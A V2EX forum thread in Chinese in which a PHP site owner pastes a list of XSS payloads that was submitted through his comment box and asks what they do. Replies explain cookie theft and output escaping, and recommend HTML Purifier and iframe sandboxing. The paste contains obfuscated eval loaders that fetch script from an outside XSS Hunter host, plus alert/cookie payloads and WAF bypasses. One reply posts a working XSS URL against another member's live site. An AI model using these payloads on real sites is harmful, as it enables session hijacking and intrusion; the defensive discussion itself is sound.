V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
l890908
V2EX  ›  信息安全

评论被人恶意提交代码,一直 alert

  •  
  •   l890908 · 2021-03-23 18:30:04 +08:00 · 11178 次点击
    这是一个创建于 1100 天前的主题,其中的信息可能已经有所发展或是发生改变。
    自写的 php 英文站,评论有人提交这个代码,经过 htmlspecialchars 保存在数据表,今天点开后台评论管理页面,就一直弹 1,弹域名这些,并且发送了一些请求到乱七八糟的域名,本地断网测试一番又没发现问题,请大家看看有什么问题?

    XSSHUNTER PAYLOADS "><script src=https://0xrohadi.xss.ht></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://0xrohadi.xss.ht\';document.body.appendChild(a)') "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; autofocus> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))> "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61;> "><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;0xrohadi.xss.ht&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0xrohadi.xss.ht");a.send();</script> "><script>$.getScript("//0xrohadi.xss.ht")</script> <audio controls onprogress=alert(1)> <source src=xss.mp3 type=audio/mpeg> </audio> <iframe><textarea></iframe><img src="" onerror="alert`1`"> xsstest'">{{7*7}} %22%3E%3Cbase%20href=%22https://0xrohadi.xss.ht%22%3E <script%26gt Tanda kutip commbo %bf%27 "><svg><discard onbegin=alert(1)> Bypass WAF XSS path?p1=a%22><svg%20&p2=xxx&p3=a+onL0aD=confirm(document.domain)> <math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)"> <form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form> //ciao\"};prompt();/*var asd=[{\"foo\":\"bar "'>< + + <svg/onload=alert(document.domain)> %22%27%3E%3C%0D%0A+%0D%0A+%3Csvg/onload=alert%28document.domain%29%3E <noscript><p title="</noscript><img src=x onerror=alert(document.cookie)>"> curl -i -s -k -X 'GET' \ -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' \ 'https://app.box.com/' JSON XSS MODIFY HERE {"id":"abcabc\"><svg/onload=confirm(1)>abcabc","name":"file-name"} abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e ”/>&lt;script>alert(1)&lt;/script&gt”/> >< ); alert(document.domain); if (1 ')-prompt('xss <img src=\"http://attacker-ip/?id= <svg></p><style><g title="</style><img src onerror=alert(document.domain)>"> \" onerror = \"alert(123)\" \" ';[confirm][document.domain];// " onmouseover="alert(1)" '/alert[/xss/]/' */confirm(1)/*
    64 条回复    2021-03-25 15:28:47 +08:00
    telung
        1
    telung  
       2021-03-23 18:31:23 +08:00   ❤️ 3
    技术不行啊,还是用开源的吧
    qiayue
        2
    qiayue  
       2021-03-23 18:33:31 +08:00   ❤️ 2
    典型用途,偷你的管理员的 cookie,登录到你后台
    imdong
        3
    imdong  
       2021-03-23 18:34:00 +08:00
    htmlspecialchars 是为了防注入、防 XXS 的一种手段。

    如果从数据库取出来到显示的时候,又 decode 了,那就破防了( xss )

    取出来不用 decode 直接输出。
    Jirajine
        4
    Jirajine  
       2021-03-23 18:35:31 +08:00 via Android   ❤️ 10
    问题在于你自己写的网站防注入没做好,你看你把这堆东西发到 v 站就一点问题都没有。
    l890908
        5
    l890908  
    OP
       2021-03-23 18:39:29 +08:00
    @qiayue 所以这是偷到了 cookie 了吗
    superrichman
        6
    superrichman  
       2021-03-23 18:43:10 +08:00 via iPhone   ❤️ 1
    人家已经知道你有 xss 了,肯定还有更多漏洞,准备迎接更多的攻击吧。
    l890908
        7
    l890908  
    OP
       2021-03-23 18:44:39 +08:00
    @telung 技术确实不行哈,😂😂
    kingfalse
        8
    kingfalse  
       2021-03-23 18:45:19 +08:00 via Android
    常规操作
    l890908
        9
    l890908  
    OP
       2021-03-23 18:45:37 +08:00
    @superrichman 这只是从评论框提交的而已,前端显示数据的时候确实 decode 了,结果中招了,这是单纯的偷 cookie 吗,还有有没有其他用途?
    l890908
        10
    l890908  
    OP
       2021-03-23 18:46:00 +08:00
    @kingfalse 求解,去掉显示数据的时候 decode 了,还有问题吗
    miv
        11
    miv  
       2021-03-23 18:46:10 +08:00 via iPhone
    @l890908 技术不行框架来筹
    l890908
        12
    l890908  
    OP
       2021-03-23 18:49:33 +08:00
    @qiayue 请问这段注入除了偷 cookie 还有其他功能吗,我取消读取 cookie 了
    l890908
        13
    l890908  
    OP
       2021-03-23 18:49:52 +08:00
    @miv 是用的 TP 框架
    BBCCBB
        14
    BBCCBB  
       2021-03-23 18:58:15 +08:00
    防一下 xss 攻击. 简单点的, 后端针对 &<>'" 再转义, 然后前端也针对 xss 做处理.
    miv
        15
    miv  
       2021-03-23 19:22:54 +08:00 via iPhone
    @l890908 tp 挺不错啊!好几年前用过,很良心的软件。这种情况建议查下文档.
    kaiki
        16
    kaiki  
       2021-03-23 19:28:51 +08:00   ❤️ 1
    哈哈哈哈哈笑死我了,你还真原样存进去原样输出啊,试试这个
    ```
    $str = trim($str);
    if(get_magic_quotes_gpc()) $str = stripslashes($str);
    $str = preg_replace('/([\x1-\x8\xB-\xC\xE-\x1F\x7F-\x84\x86-\x9F\x{FDD0}-\x{FDDF}])/u', '', htmlspecialchars($str));
    ```
    Rache1
        17
    Rache1  
       2021-03-23 19:51:38 +08:00
    存的时候不 encode,展示的时候 encode 就行了
    WeKeey
        18
    WeKeey  
       2021-03-23 20:00:05 +08:00
    sytnishizuiai
        19
    sytnishizuiai  
       2021-03-23 20:51:05 +08:00
    所有传进来的数据写个统一的过滤方法来过滤,否则想对外用的就用成熟的 blog 框架,练手的就无所谓了
    jydeng
        20
    jydeng  
       2021-03-23 21:04:18 +08:00
    过滤一下就好
    jimrok
        21
    jimrok  
       2021-03-23 21:15:44 +08:00
    其他用途呀,就是删你的数据库,勒索你的用户,用处可多了。
    renmu123
        22
    renmu123  
       2021-03-23 21:17:12 +08:00 via Android   ❤️ 2
    回去一看服务器都已经被提权了
    zhao372716335
        23
    zhao372716335  
       2021-03-23 21:32:01 +08:00
    明显被 xss 注入 js 了。前端提交的代码,必须处理字符,将 js 代码转义。
    zhao372716335
        24
    zhao372716335  
       2021-03-23 21:32:33 +08:00
    否则,加载了第三方的 js,拿到你后台的 cookie,你就完蛋了
    l890908
        25
    l890908  
    OP
       2021-03-23 21:47:42 +08:00 via iPhone
    @zhao372716335 这些代码能不能看出意图是什么?
    zhao372716335
        26
    zhao372716335  
       2021-03-23 21:51:13 +08:00   ❤️ 1
    @l890908

    <script src=https://0xrohadi.xss.ht></script>

    这个是加载的一个远程的 js 文件,你打开这个文件: https://0xrohadi.xss.ht/

    This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters.

    If you believe that this payload has been used to attempt to compromise your service without permission, please contact us using https://xsshunter.com/contact.

    We take abuse of our service seriously and only allow security testing of services which our users have consent to test.

    -XSS Hunter Team
    */



    // https://github.com/niklasvh/html2canvas
    l890908
        27
    l890908  
    OP
       2021-03-23 22:14:45 +08:00 via iPhone
    @zhao372716335 对,我也看到这个,但是这里似乎没问题,但是也就加载了这个资源,没有加载其他资源
    zhuweiyou
        28
    zhuweiyou  
       2021-03-23 23:07:42 +08:00   ❤️ 2
    把网站发出来 让老哥们试试
    zhao372716335
        29
    zhao372716335  
       2021-03-24 00:39:49 +08:00
    @l890908 这个 js 文件你敢说没问题?里面好多东西混淆了
    GeruzoniAnsasu
        30
    GeruzoniAnsasu  
       2021-03-24 03:41:38 +08:00
    你先把网站关了,服务器停掉。。。。


    服务器停掉


    服务器停掉



    再重新开一个 = =
    这个时候你的服务器可能都已经被日穿了
    llyichT
        31
    llyichT  
       2021-03-24 08:26:53 +08:00
    后台用别的域名吧,cookie 与 IP 绑定,这样万一又被注入了,别人拿到也访问不了后台
    rodrick
        32
    rodrick  
       2021-03-24 09:04:13 +08:00
    转义一下吧,这多好啊,以后就可以说自己有独立解决 XSS 攻击的实战经验
    cslive
        33
    cslive  
       2021-03-24 09:28:01 +08:00
    服务器重装系统吧,说不定人家正在白嫖你
    dongtingyue
        34
    dongtingyue  
       2021-03-24 09:33:44 +08:00   ❤️ 1
    评论想支持 html 格式至少要把 script 标签去掉。
    garlics
        35
    garlics  
       2021-03-24 09:51:05 +08:00
    htmlspecialchars 可以正常过滤的,但是你输出的时候用 html_entity_decode 不就又把字符给转回去了。。
    supuwoerc
        36
    supuwoerc  
       2021-03-24 09:57:29 +08:00
    昨天刚看到孤尽说 XSS 攻击的章节,今天就看到了哈哈哈
    l890908
        37
    l890908  
    OP
       2021-03-24 10:21:24 +08:00
    @llyichT 我已经取消后台 cookie,读 session😂😂
    ganbuliao
        38
    ganbuliao  
       2021-03-24 10:55:50 +08:00
    就是简单的 xss 攻击 什么读 cookie 都是扯 就是你别用$GET 和 $POST, 用 input() 或者用个防止 xss 的函数就行了 网上一大把。strip_tags 和 htmlspecialchars
    bbao
        39
    bbao  
       2021-03-24 10:56:24 +08:00
    10 多年前刚开始学写表单的时候,就要被提醒,如果表单里面写了执行的 js 语句要怎么预防。
    是可以被过滤掉的,对方并不是恶意,就是做测试罢了。
    是你的站太脆弱了
    wgbx
        40
    wgbx  
       2021-03-24 10:57:58 +08:00
    单纯 xss 而已,和 cookie 关系不大,禁用 or 转义用户上传的脚本
    KasuganoSoras
        41
    KasuganoSoras  
       2021-03-24 11:47:33 +08:00
    评论区别用 HTML 了,改 Markdown 吧,常用的比如 Parsedown 这些都支持过滤 XSS,只要你把 Safe Mode 打开就行,存入数据库之前记得先转义,不过你用框架的话应该已经自动帮你完成了这些事
    gy0624ww
        42
    gy0624ww  
       2021-03-24 12:04:32 +08:00
    录入的时候不需要过滤,原样保存,提出来的时候你要做转义
    1rror
        43
    1rror  
       2021-03-24 12:09:40 +08:00
    关站吧 , 服务器可能已经没了
    killerv
        44
    killerv  
       2021-03-24 12:33:31 +08:00
    xss 防范不是在写数据的时候做的,而是读数据的时候,把内容转义为 HTML 实体。
    zw1one
        45
    zw1one  
       2021-03-24 14:40:27 +08:00
    楼主网址发一下,我也去试试 xss [狗头]
    Telegram
        46
    Telegram  
       2021-03-24 14:45:54 +08:00
    @l890908 #9
    这叫 XSS,找找现成的防 xss 的过滤系统,客户提交时过滤掉。
    理论上 javascript 能做的都能做到,就看对方构造的脚本功能如何了。
    SingeeKing
        47
    SingeeKing  
       2021-03-24 14:46:01 +08:00
    l890908
        48
    l890908  
    OP
       2021-03-24 14:49:19 +08:00
    @renmu123
    @GeruzoniAnsasu
    @1rror 对,服务器已经没了,网站数据都没了
    FucUrFrd
        49
    FucUrFrd  
       2021-03-24 14:53:07 +08:00
    cookie 是 httponly 的, 为啥偷 cookie???现在已经 2021 了
    iSecret
        50
    iSecret  
       2021-03-24 16:33:29 +08:00
    @l890908 对于 XSS,Cookie 和 Session 没什么区别,Session 同样会设置 Cookie UID 。只要窃取了 Cookie 了就能直接访问你的后台,如果后台有上传功能或者直接编辑文件的功能,建议做一些过滤,另外系统重装吧,你也不知道有没有被写马。
    DOLLOR
        51
    DOLLOR  
       2021-03-24 17:21:07 +08:00
    展示来自用户的 html 的富文本,可以放在 iframe 里,并开启 sandbox,可杜绝富文本里的 script 。
    例:
    <iframe src="./test.html" frameborder="0" sandbox></iframe>
    参考:
    https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
    LudwigWS
        52
    LudwigWS  
       2021-03-24 17:42:09 +08:00
    怎么会有这么无聊的人啊
    jmk92
        53
    jmk92  
       2021-03-24 17:47:01 +08:00
    技术问题,技术解决,跟他肛
    FucUrFrd
        54
    FucUrFrd  
       2021-03-24 21:10:49 +08:00 via Android
    楼猪,管理员后台应该只能 127.0.0.1 登陆,然后 ssh proxy 到主机
    realpg
        55
    realpg  
       2021-03-24 21:17:11 +08:00
    技术不行就上通用过滤组件
    rekulas
        56
    rekulas  
       2021-03-24 21:30:57 +08:00
    tp 自带了防范危险输入的安全函数估计你没用
    FucUrFrd
        57
    FucUrFrd  
       2021-03-24 22:27:42 +08:00 via Android
    @killerv 现在是前端就直接转码了,然后后端直接渲染,就是要渲染转码后的不需要跟用户输入一致
    huZhao
        58
    huZhao  
       2021-03-24 22:36:20 +08:00
    楼主,可以参考一下我的。

    https://www.vcodei.com

    我知道,我不专业,

    然后就直接把站的注册给关了,连注册都注册不了,还想评论?

    然后文章内容都是公众号,想留言,评论,去公众号留言去,

    有本事,把企鹅给干了,,,😂
    jeblur
        59
    jeblur  
       2021-03-25 09:33:06 +08:00
    @huZhao 你也没做过滤把,搜索栏 xss 直接就弹了。。
    hanssx
        60
    hanssx  
       2021-03-25 10:17:46 +08:00
    楼上老哥哥说得对,你这有反射型 XSS,没过滤 < >
    @huZhao https://www.vcodei.com/?s=%3Cimg%20src=1%20onerror=prompt(1)%3E
    killerv
        61
    killerv  
       2021-03-25 10:24:40 +08:00
    @FucUrFrd 入库之前就转义了?这样做破坏了数据的原始性,举个例子,如果你要搜索尖括号你还能搜出来吗?
    原则上用户输入什么就存储什么,xss 只在渲染层做就好。
    huZhao
        62
    huZhao  
       2021-03-25 10:33:31 +08:00
    @jeblur
    @hanssx

    高手在 v 站。😂
    former
        63
    former  
       2021-03-25 13:03:36 +08:00
    xss,用 HTML Purifier,可以防范大多数情况
    http://htmlpurifier.org/
    https://github.com/ezyang/htmlpurifier

    写入过滤,可以吧已有数据清洗一遍
    woostundy
        64
    woostundy  
       2021-03-25 15:28:47 +08:00
    先去看看你的服务器是不是已经被种 shell 了吧。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5410 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 52ms · UTC 09:09 · PVG 17:09 · LAX 02:09 · JFK 05:09
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.